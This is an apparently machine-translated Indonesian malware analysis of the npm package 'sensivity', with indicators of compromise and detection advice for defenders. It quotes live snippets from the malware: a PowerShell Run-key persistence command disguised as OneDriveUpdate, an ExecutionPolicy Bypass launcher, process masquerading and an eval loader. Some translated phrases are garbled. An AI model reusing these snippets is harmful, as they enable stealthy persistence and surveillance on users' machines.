TL; DR
Paket npm sensitivitas Aplikasi ini menyebut dirinya sebagai "Panel Kontrol Sensitivitas." Di Windows, aplikasi ini berfungsi sebagai alat kendali jarak jauh dan pengawasan.
Titik masuknya, launcher.js, mengubah nama prosesnya sendiri menjadi Runtime Broker, menulis nilai Run-key autostart bernama OneDriveUpdate yang meluncurkan kembali paket melalui VBScript tersembunyi, memunculkan PowerShell dengan -ExecutionPolicy Bypass, dan kemudian mengevaluasi muatan server yang disamarkan berukuran 171 KB bersamaan dengan modul asli berukuran 6.87 MB, sens.node.
Aplikasi ini berfungsi sebagai panel kontrol pemasangan telepon pada port TCP 3000 dan membaca URL bilah alamat browser aktif melalui Windows UIAutomation, serta memantau satu video YouTube yang telah ditentukan sebelumnya.
Dua bagian yang sebelumnya terbaca sebagai kotak hitam kini telah terpecahkan. Server yang disamarkan, server.obf.js, menggunakan skema string-array obfuscator.io RC4; mengimplementasikan ulang dekodernya secara offline (tanpa JavaScript yang dieksekusi) memulihkan satu titik akhir eksternal — https://izopi.com/check.php — bersama dengan kunci publik RSA tertanam yang digunakan untuk memverifikasi respons lisensi yang ditandatangani.
Modul asli, sens.node, tidak dikemas: tabel impor dan string yang tertanam di dalamnya mengidentifikasinya sebagai overlay dalam game DirectX 11 / Dear ImGui yang menyediakan fitur aimbot, ESP (wall-hack), dan triggerbot, yang digerakkan oleh injeksi proses jarak jauh dan pembacaan/penulisan memori.
String di dalamnya merujuk pada entitas kendaraan dan lokasi peta yang konsisten dengan GTA V / FiveM. Paket npm adalah pembungkus pengiriman dan persistensi di sekitar modul asli tersebut.
Sinyal yang menentukan bersifat operasional, bukan teknis: satu penerbit anonim menerbitkan sekitar tujuh puluh versi dari satu paket — 2.5.0 melalui 2.5.69 — selama beberapa hari, masing-masing membawa peluncur yang sama.
Tidak ada instalasi hooksPayload hanya berjalan saat paket dimulai.
Serangan: Bagaimana Cara Kerjanya
Sensivity mengirimkan sepuluh file. File package.json sangat sederhana: tidak ada field repository, tidak ada license, satu alias main dan dua alias bin (sensiivity, sens) semuanya mengarah ke launcher.js, dan sebuah skrip start berupa node launcher.js. Tidak ada postinstall atau preinstall. Tidak ada yang dijalankan saat npm install. Perilaku yang dijelaskan di bawah ini berjalan saat pengguna memulai paket — melalui bin shim, skrip start, atau require.
File tarball tersebut berisi peluncur, server yang dienkripsi, modul asli, skrip Visual Basic, dan direktori web publik/ untuk panel kontrol. launcher.js adalah pengatur yang mudah dibaca; logika yang penting saat runtime terdapat dalam dua blob yang dimuatnya — server yang dienkripsi dan modul asli yang telah dikompilasi, keduanya diuraikan di bawah ini.
Penyamaran proses dan pembaruan OneDrive palsu
Di awal eksekusi, launcher.js menetapkan nama prosesnya sendiri dua kali:
javascript process.title = 'Runtime Broker'; Runtime Broker adalah proses Windows yang sah (RuntimeBroker.exe) yang memediasi izin aplikasi. Mengganti nama proses Node agar sesuai dengannya berarti sekilas melihat Task Manager tidak akan menunjukkan hal yang aneh.
Pengaturan persistensi dilakukan melalui PowerShell, bukan melalui API registri langsung:
javascript execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \"${vbs}\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 }); Nilai autostart diberi nama OneDriveUpdate, dan tidak mengarah langsung ke paket tersebut. Nilai tersebut mengarah ke wscript.exe yang menjalankan OneDrive.Standalone.Updater.vbs yang disertakan. Skrip tersebut meluncurkan ulang node launcher.js di jendela tersembunyi. Baik nama tombol Run maupun nama file VBScript menggunakan merek Microsoft, sehingga entri autostart terbaca sebagai tugas rutin OneDrive.
PowerShell dengan bypass kebijakan eksekusi
Peluncur berulang kali menjalankan perintah PowerShell. Proses yang ditandai oleh pemindai sebagai kritis adalah peluncuran file .ps1 yang dihasilkan dengan kebijakan eksekusi dinonaktifkan:
javascript exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR }); ExecutionPolicy Bypass menghapus pemeriksaan penandatanganan skrip lokal untuk pemanggilan tersebut. Skrip yang dihasilkan menangani pekerjaan pengawasan browser dan deteksi jendela yang dijelaskan di bagian selanjutnya.
Server yang disamarkan dan modul asli
Setelah pengaturan selesai, launcher.js dimuat dan mengeksekusi muatan sebenarnya:
const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js')) ? path.join(APP_DIR, 'server.obf.js') : path.join(APP_DIR, 'server.js'); eval(fs.readFileSync(serverCode, 'utf8')); server.obf.js berukuran 171 KB berisi pengaburan array _0x — pola JavaScript di mana setiap string dan pengidentifikasi diganti dengan indeks ke dalam array yang diacak, kemudian di-dereferensi saat runtime. Skema ini adalah varian RC4 yang dihasilkan oleh obfuscator.io: satu fungsi dekoder mendekode entri array base64 dan kemudian mendekripsinya dengan RC4 menggunakan kunci per panggilan. Mengimplementasikan ulang dekoder tersebut dalam skrip terpisah — hanya menjalankan implementasi ulang pada array string 821 entri yang diekstrak, bukan JavaScript paket itu sendiri — akan menguraikannya dengan bersih. Apa yang muncul memang sederhana tetapi cukup signifikan.cisive: satu URL eksternal, https://izopi.com/check.php`, yang ditetapkan ke konstanta LICENSE_URL; sebuah RSA PUBLIC_KEY_PEM` yang tertanam; rute panel lokal /api/kill, /api/qr.png, /api/trigger, /api/url, /trigger/off, dan /trigger/status; dan string child_process, crypto, dan [Sensivity] sens.node dimuat — yang terakhir adalah baris log persis yang ditulis ulang oleh peluncur menjadi modul program dimuat. Titik akhirnya adalah pemeriksaan lisensi: klien mengirimkan pengidentifikasi (server yang disamarkan memformat string Discord ID: %s) dan kunci RSA memverifikasi respons yang ditandatangani server.
sens.node adalah add-on native hasil kompilasi berukuran 6.87 MB, dan tidak dikompresi — entropi bagian berada pada 5.6–6.6 dan tabel impor dan ekspor PE tetap utuh, sehingga kemampuannya dapat dibaca secara langsung. Add-on ini mengekspor napi_register_module_v1, yaitu... standard Titik masuk Node N-API, sehingga server yang dievaluasi memuatnya dengan perintah `require` biasa. Tabel impornya adalah petunjuknya. Dari KERNEL32, ia mengambil OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread, K32EnumProcessModules, dan Process32First/NextW — kumpulan standar untuk menemukan proses lain, mengalokasikan memori di dalamnya, dan membaca atau menulis memori tersebut. Dari USER32, ia mengambil GetAsyncKeyState, GetKeyState, mouse_event, dan SetCursorPos; ia menautkan d3d11.dll, D3DCOMPILER_43, dan dwmapi untuk overlay di layar, dan kumpulan WINHTTP lengkap untuk panggilan jaringan. String yang tertanam di dalamnya menyebutkan fitur-fitur yang ada tanpa ambiguitas: Enable Aimbot, Aimbot FOV, Box ESP, Skeleton ESP, Triggerbot, ESP Builder, Vehicle ESP, Electron Anticheat detected, dan banner Dear ImGui Dear ImGui 1.91.3 WIP. String lokasi dan entitas seperti Grapeseed Medical Clinic dan kosakata vehicle-ESP konsisten dengan GTA V / FiveM.
Pemisahan ini pada dasarnya disengaja: file launcher.js yang mudah dibaca hanya memuat bagian-bagian yang mudah dibaca oleh pemindai — persistensi, penyamaran, panggilan eval itu sendiri — sementara pengaburan menyembunyikan satu host eksternal yang dihubungi oleh runtime, dan biner tersebut berisi logika overlay game dan injeksi proses. Launcher adalah shell tipis yang dapat diaudit; server yang dikaburkan menyembunyikan identitas jaringan; modul asli adalah muatannya. Kami mendeskripsikan impor dan string biner sebagai yang dibaca; kami tidak menyimpulkan tujuan operator darinya.
Panel kontrol pemasangan telepon pada port 3000
Peluncur mengelola server web lokal pada port TCP 3000 dan memperlakukannya sebagai singleton. Ia menanyakan keberadaan listener dan menghapusnya sebelum melakukan binding:
javascript execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){$c | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force -EA 0 }}"', { stdio: 'ignore', timeout: 5000 }); Panel tersebut dapat diakses di http://localhost:3000, dengan URL cadangan LAN yang telah ditentukan sebelumnya yaitu http://192.168.1.16:3000. Direktori public/ dan perilaku panel konsisten dengan alur pemasangan QR: telepon memindai kode dan terhubung ke host sebagai remote. Tidak ada domain perintah dan kontrol eksternal yang muncul dalam teks biasa di peluncur — tetapi, seperti yang ditunjukkan oleh deobfuscasi di atas, satu domain hadir di server yang di-obfuscasi: endpoint lisensi izopi.com. Panel itu sendiri bersifat lokal dan terbatas pada jaringan LAN; satu-satunya host keluar adalah pemeriksaan lisensi tersebut.
Model supervisor/worker terpisah menjaga proses tetap berjalan. Peluncur akan memulai ulang dirinya sendiri dengan flag lingkungan SENSIVITY_SUPERVISOR dan SENSIVITY_WORKER, setiap proses anak berjalan tersembunyi, sehingga menghentikan satu proses akan menyisakan pengawas untuk memulai ulang proses tersebut.
Pengawasan Browser dan Sinyal YouTube
Perilaku yang paling spesifik adalah pemantauan browser. launcher.js membangun PowerShell yang menggerakkan Windows UIAutomation untuk membaca bilah alamat browser yang sedang berjalan:
javascript '$pattern = $edit.GetCurrentPattern([System.Windows.Automation.ValuePattern]::Pattern)', ValuePattern mengembalikan konten teks dari elemen UI. Diterapkan pada kontrol edit bilah alamat browser, ia mengembalikan URL yang sedang dilihat korban — tanpa ekstensi browser, tanpa menyentuh profil di disk, dan tanpa kait API. Skrip yang dihasilkan mengulangi daftar $browserNames dan mengekstrak URL atau judul jendela dari browser mana pun yang berada di latar depan.
URL tersebut diuji terhadap satu target yang telah ditentukan secara tetap:
javascript const TARGET_YOUTUBE_VIDEO_ID = 'wJWta2lO0Lw'; Peluncur tersebut melakukan polling setiap tiga detik untuk jendela browser yang menampilkan YouTube, dan PowerShell yang dihasilkan membawa pasangan Get-YouTubeBrowser / Test-TargetYouTubeUrl yang cocok dengan ID video tersebut. Efek yang dapat diamati ada dua: URL penjelajahan aktif dibaca dari layar korban, dan interaksi host dengan satu video YouTube tertentu terdeteksi. Kami menjelaskan mekanisme dan targetnya; kami tidak menyimpulkan motif dari hal tersebut.
Yang terbaca di bilah alamat adalah apa yang dilabeli pemindai sebagai sensitive_data_enumeration — sebuah Process::env dan sumber UIAutomation yang memberi makan runtime yang mampu terhubung ke jaringan. Secara terpisah, tampilannya tidak berbahaya dan baru menjadi pengawasan setelah siklus hidup data dilacak dari sumber UIAutomation ke server yang disamarkan.
Garis Waktu dan Evolusi Versi
Sensivity bukanlah unggahan sekali jalan. Akun penerbit memiliki sekitar tujuh puluh versi yang diterbitkan dari paket tunggal ini, dan versi baru terus berdatangan selama masa peninjauan. Peluncur ini berkembang fitur demi fitur di sepanjang lini 2.5.x sementara persistensi dan pemuatan muatannya tetap sama.
| Tanggal (UTC) | Versi yang diamati | Status peluncur |
|---|---|---|
| 2026-06-02 | 2.5.8 - 2.5.46 (25) | Peluncur panel QR dasar; persistensi tombol jalankan; evaluasi server yang dienkripsi. |
| 2026-06-03 | 2.5.53 - 2.5.61 (6) | Sidik jari yang sama; penekanan jejak konsol. |
| 2026-06-04 | 2.5.67, 2.5.68 (2) | Menambahkan target interaksi YouTube yang disematkan wJWta2lO0Lw. |
| 2026-06-05 | 2.5.0 - 2.5.69 (24) | Penerbitan ulang untuk mengisi kekosongan di seluruh jajaran; pengawas/pengawas pekerja. |
Membaca peluncur di seluruh perwakilan yang diunduh — 2.5.0, 2.5.36, dan 2.5.69 — menunjukkan empat tingkatan. Versi paling awal membawa peluncur pemasangan QR dasar. Mulai dari 2.5.33, pengumpul alamat UIAutomation muncul. Mulai dari 2.5.58, lapisan manajemen supervisor ditambahkan. Mulai dari 2.5.64, pengawas supervisor/pekerja terpisah melengkapi rangkaiannya. Sepanjang proses, empat hal tidak pernah berubah: kunci Run OneDriveUpdate, dropper OneDrive.Standalone.Updater.vbs, server.obf.js yang dievaluasi, dan modul asli sens.node.
Gelombang pembaruan 2026-06-05 ini penting karena menerbitkan ulang nomor versi rendah — 2.5.0 hingga 2.5.15 — yang berada di bawah versi yang dikonfirmasi beberapa hari sebelumnya. Akibatnya, terdapat baris 2.5.x yang berkesinambungan di registri, di mana setiap versi menggunakan peluncur yang sama.
Indikator kompromi
Semua indikator di bawah ini dibaca langsung dari file tarball paket. Peluncur yang dapat dibaca hanya membawa loopback dan satu alamat LAN pribadi; satu nama host eksternal, izopi.com, diperoleh dengan mendekripsi server.obf.js secara offline.
| Tipe | Indikator | Catatan |
|---|---|---|
| Paket | npm:sensivity (≈70 versi, 2.5.0-2.5.69) | Penerbit paket tunggal; tanpa repositori; tidak berlisensi. |
| File | launcher.js | Pengatur orkestra yang mudah dibaca; target utama dan bin. |
| File | server.obf.js (≈171 KB) | Payload string-array obfuscator.io RC4, dimuat melalui eval(fs.readFileSync(...)). |
| File | sens.node (≈6.87 MB) | PE32+ x86-64 Node N-API addon; SHA-256 66b674884042fca2f056d06854325ea0e8bc902d4e3cdaeafd5fe08c7d0aab40. |
| File | OneDrive.Standalone.Updater.vbs | Peluncur ulang tersembunyi (node launcher.js). |
| jaringan | https://izopi.com/check.php | Endpoint lisensi/otentikasi diperoleh dari server yang disamarkan; kunci publik RSA yang tertanam memverifikasi respons. |
| Kemampuan | OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread | Injeksi proses jarak jauh dan kemampuan baca/tulis memori. |
| Kemampuan | Enable Aimbot, Box ESP, Triggerbot, Vehicle ESP, Dear ImGui 1.91.3 WIP | Overlay game DirectX 11 / ImGui yang mengimplementasikan fitur aimbot, ESP, dan triggerbot. |
| pendaftaran | HKCU\Software\Microsoft\Windows\CurrentVersion\Run → OneDriveUpdate | Nilai autostart menunjuk ke wscript.exe dan peluncur VBScript. |
| Proses | process.title = 'Runtime Broker' | Menyamar sebagai proses Windows Runtime Broker yang sah. |
| Perilaku | powershell -NoProfile -ExecutionPolicy Bypass -File <generated>.ps1 | Pembukaan kebijakan eksekusi digunakan untuk skrip PowerShell yang dihasilkan. |
| Perilaku | UIAutomation ValuePattern membaca bilah alamat browser | Membaca URL jendela browser yang sedang aktif. |
| Perilaku | ID video target wJWta2lO0Lw; jajak pendapat YouTube 3 detik | Sinyal pemantauan keterlibatan yang disematkan. |
| jaringan | http://localhost:3000, cadangan http://192.168.1.16:3000 | Panel kontrol pemasangan QR yang dapat diakses secara lokal dan di LAN. |
| Lingkungan Hidup | SENSIVITY_SUPERVISOR, SENSIVITY_WORKER | Bendera koordinasi proses pengawasan terpisah. |
Atribusi, Dampak, dan Pembela
Paket ini diterbitkan oleh satu akun npm yang alamat emailnya adalah alamat Gmail yang belum terverifikasi. Akun tersebut memiliki skor reputasi registri yang sangat negatif, hanya memelihara dan menerbitkan satu paket ini, dan tidak memiliki repositori sumber yang terhubung. Kami belum memverifikasi kepemilikan email tersebut dan kami mengaitkan kampanye ini dengan akun penerbit, bukan dengan individu tertentu. Peluncur tidak memiliki infrastruktur teks biasa, tetapi satu host eksternal sekarang diketahui: server yang dienkripsi menghubungi izopi.com untuk pemeriksaan lisensi, dan modul asli — dibaca dari tabel impor dan stringnya daripada instruksi terbalik satu per satu — adalah overlay game yang menyuntikkan dan membaca memori proses lain.
Dampak yang terlihat dirasakan oleh pengguna Windows yang menginstal dan menjalankan sensivity dengan harapan mendapatkan utilitas panel kontrol. Pada host tersebut, paket ini membuat persistensi autostart yang disamarkan sebagai tugas OneDrive, mengubah namanya sendiri untuk meniru proses sistem, membaca URL dari apa pun yang sedang dijelajahi pengguna, dan menampilkan panel pemasangan yang mengikat mesin ke remote melalui jaringan lokal. Pengawas supervisor/worker berarti penghentian proses tunggal tidak akan menghapusnya; entri tombol Run tetap ada setelah reboot. macOS dan Linux tidak menjadi target peluncur ini — jalur persistensi, PowerShell, dan UIAutomation hanya untuk Windows.
Perputaran versi hingga tujuh puluh kali adalah tren yang perlu diperhatikan. Menerbitkan ulang satu paket puluhan kali dalam beberapa hari, termasuk mengisi kembali nomor versi di bawah yang sudah dihapus, membuat salinan aktif tetap ada di registri di antara penghapusan dan menggagalkan daftar blokir yang disematkan versi. Entri daftar blokir untuk sensivity@2.5.61 tidak berpengaruh terhadap sensivity@2.5.3 yang diterbitkan ulang keesokan harinya.
Pihak bertahan dapat bertindak berdasarkan hal-hal berikut:
- Blokir sensitivitas nama paket secara langsung di registry-proxy dan daftar izin CI. Mengunci versi individual akan kalah dengan ritme penerbitan ulang; nama adalah indikator yang tahan lama.
- Cari nilai Run bernama OneDriveUpdate yang datanya memanggil wscript.exe terhadap file .vbs di jalur per pengguna. Pembaruan OneDrive yang asli tidak terdaftar dengan cara ini.
- Peringatan pada proses Node.js yang process.title-nya adalah Runtime Broker. Broker sebenarnya adalah RuntimeBroker.exe, bukan runtime Node.
- Flag npm install-time mengambil paket yang menyertakan add-on .node yang telah dikompilasi ditambah eval(fs.readFileSync(…)) dari file .obf.js yang terkait. Pasangan tersebut — biner asli yang buram dimuat di samping muatan teks yang disamarkan — adalah petunjuk struktural di sini, terlepas dari IOC string apa pun.
- Anggaplah setiap listener yang terikat secara lokal pada port 3000 yang dihasilkan oleh proses Node yang tidak terduga sebagai mencurigakan pada endpoint Windows yang dikelola.
- Blokir atau beri peringatan pada permintaan keluar ke izopi.com dari host pengembang atau pengguna akhir; ini adalah satu-satunya titik akhir eksternal paket, yang dapat diakses di /check.php dari server yang dienkripsi.
- Untuk setiap add-on .node yang dibundel, periksa tabel impornya sebelum mempercayainya. Kombinasi OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread adalah injeksi proses jarak jauh terlepas dari apa yang diklaim oleh paket tersebut; di sini ia berada di samping overlay Direct3D dan string aimbot/ESP/triggerbot.
Untuk analisis statis pipelineDengan demikian, bentuk keyakinan tersebut tetap bertahan di seluruh perubahan versi: profil instalasi non-jaringan, penetapan judul proses ke nama proses sistem yang dikenal, penulisan tombol Run melalui PowerShell, dan evaluasi file yang dibaca dari disk. Tak satu pun dari hal tersebut bergantung pada domain, IP, atau nomor versi yang dapat diubah pada penerbitan ulang berikutnya.
Referensi
[npm: sensitivitas] – halaman registri untuk lini versi paket yang dibahas di sini; dapat dihapus sewaktu-waktu.





